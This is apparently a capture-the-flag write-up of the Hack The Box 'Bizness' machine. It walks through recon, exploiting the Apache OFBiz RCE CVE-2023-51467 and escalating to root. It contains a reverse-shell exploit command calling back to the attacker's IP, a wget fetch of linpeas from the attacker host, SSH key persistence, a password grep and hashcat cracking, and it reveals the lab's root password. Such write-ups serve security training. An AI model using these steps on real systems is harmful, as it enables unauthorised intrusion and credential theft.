Overview of the Bizness Box
A structured walkthrough of the "Bizness" Hack The Box machine, covering reconnaissance, exploitation of Apache OFBiz (CVE-2023-51467), and privilege escalation to root, with all commands and screenshots preserved.

Engagement Phases
In this walkthrough we will follow these phases:
- Information Gathering
- Directory Enumeration
- Vulnerability Analysis
- Exploitation
- Privilege Escalation
Phase I: Information Gathering
Initial Reconnaissance with Nmap
We start with a full TCP port scan using nmap to identify exposed services.
sudo nmap -p- --min-rate 10000 10.10.11.252
Key Results:
- Open Ports:
22(SSH),80(HTTP),443(HTTPS),38621(Unknown) - Hostname:
bizness.htb(mapped to10.10.11.252in/etc/hosts)
After adding the host entry, we browse to https://bizness.htb, but the landing page does not immediately reveal anything sensitive.
Web Interface

Phase II: Directory Enumeration
Enumerating Paths with dirsearch
Next, we enumerate web paths to uncover hidden or less obvious entry points using dirsearch.
dirsearch -q -u https://bizness.htb -i 200,300-399
Findings:
- Discovered a login page at
http://bizness.htb/control/login - Identified the application as Apache OFBiz, which becomes our primary target
Visual Evidence


Phase III: Vulnerability Analysis
Identifying the Apache OFBiz RCE
With Apache OFBiz identified, we search for public vulnerabilities associated with the version in use. This leads us to a critical Remote Code Execution vulnerability:
- CVE:
CVE-2023-51467 - Impact: Unauthenticated RCE on Apache OFBiz
Reference:
Phase IV: Exploitation
Obtaining a Public Exploit
We use a publicly available proof-of-concept designed for exploiting this OFBiz RCE:
- Exploit Repository: CVE-2023-51467 Exploit
Gaining Initial Foothold (Reverse Shell)
Using the exploit, we obtain a reverse shell back to our attacking machine:
python3 exploit.py https://bizness.htb/ shell <IP-tun0>:<PORT>
On successful exploitation, we get a remote shell on the target.
Shell Stabilization
We turn the basic shell into a more interactive one:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Background the shell with Ctrl+Z, then:
stty raw -echo; fg
reset xterm
Foothold Confirmation:
Reverse shell successfully obtained.
With a stable shell, we capture the user flag:
cat ~/user.txt
Phase V: Privilege Escalation
Establishing Persistent SSH Access
To make further work easier, we configure SSH key-based access using the ofbiz user account:
cd /home/ofbiz/
mkdir .ssh
echo [your_public_key] > ~/.ssh/authorized_keys
Then connect from the local machine:
ssh -i [private_key] ofbiz@bizness.htb
Local Enumeration Attempts
Searching for SUID Binaries
We first check for potential SUID binaries that might be exploitable:
find / -type f -perm /4000 2>/dev/null
Result: No obviously exploitable SUID binaries are identified.
Looking for Interesting Listening Ports
We inspect listening ports and network connections:
netstat -ano
Result: No particularly interesting internal services are exposed.
Automated Enumeration with LinPEAS
We run linpeas.sh to automatically search for misconfigurations and common privilege escalation vectors.
On the target machine:
cd /tmp
wget http://<IP-tun0>:<port>/linpeas.sh
bash ./linpeas.sh
For offline review, we capture the output:
bash ./linpeas.sh > /tmp/linpease.txt
On the local machine:
scp -i ~/.ssh/id_rsa ofbiz@bizness.htb:/tmp/linpease.txt ./
Outcome: LinPEAS does not immediately reveal a straightforward escalation vector, suggesting we need a more targeted approach.
Discovering Password Artifacts
Grepping for Password References
We pivot to a manual search for password-related strings across the filesystem:
grep -aRinH --color -o -E '(\w+\w+){0,5}password(\w+\w+){0,5}'
Findings:
- Files indicating password usage
- A SHA-1 hash and a
.datfile that contains a Base64-encoded SHA-1 structure
Evidence:
Files indicating password-related data.
We also identify an XML file containing a hashed password:

The search reveals a value in the form:
$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I
Additional inspection of the .dat file shows a Base64-encoded structure representing a SHA-1 hash and salt:
SHA-1 structure and stored value.
Preparing the Hash for Cracking
Helper Script
To simplify extraction and formatting of the hash, we reference a helper script:
- Python Script for Decryption / Extraction: Script for SHA1 Decryption
Normalizing Base64 for Hashcat
The stored value uses base64.urlsafe_b64encode(), which replaces / with _ and + with -.
To convert this into a standard Base64 string and then into hex for Hashcat, we leverage CyberChef:
- Recipe (conceptually):
- Replace
_with/ - Replace
-with+ - Decode from Base64
- Convert to Hex
CyberChef link used:
Cleaning and transforming the stored hash for cracking.
Cracking the Hash with Hashcat
Once the hash and salt are converted to the appropriate format, we use Hashcat with mode 120 (for salted SHA-1) and the rockyou.txt wordlist:
hashcat -m 120 -a 0 "b8fd3f41a541a435857a8f3e751cc3a91c174362:d" rockyou.txt
After some time, Hashcat successfully recovers the plaintext password.
Password successfully cracked.
Root password is: monkeybizness
Elevating to Root and Capturing the Flag
With the root password in hand, we escalate privileges:
su root
# Enter the password: monkeybizness
cat /root/root.txt
Root compromise and flag retrieval.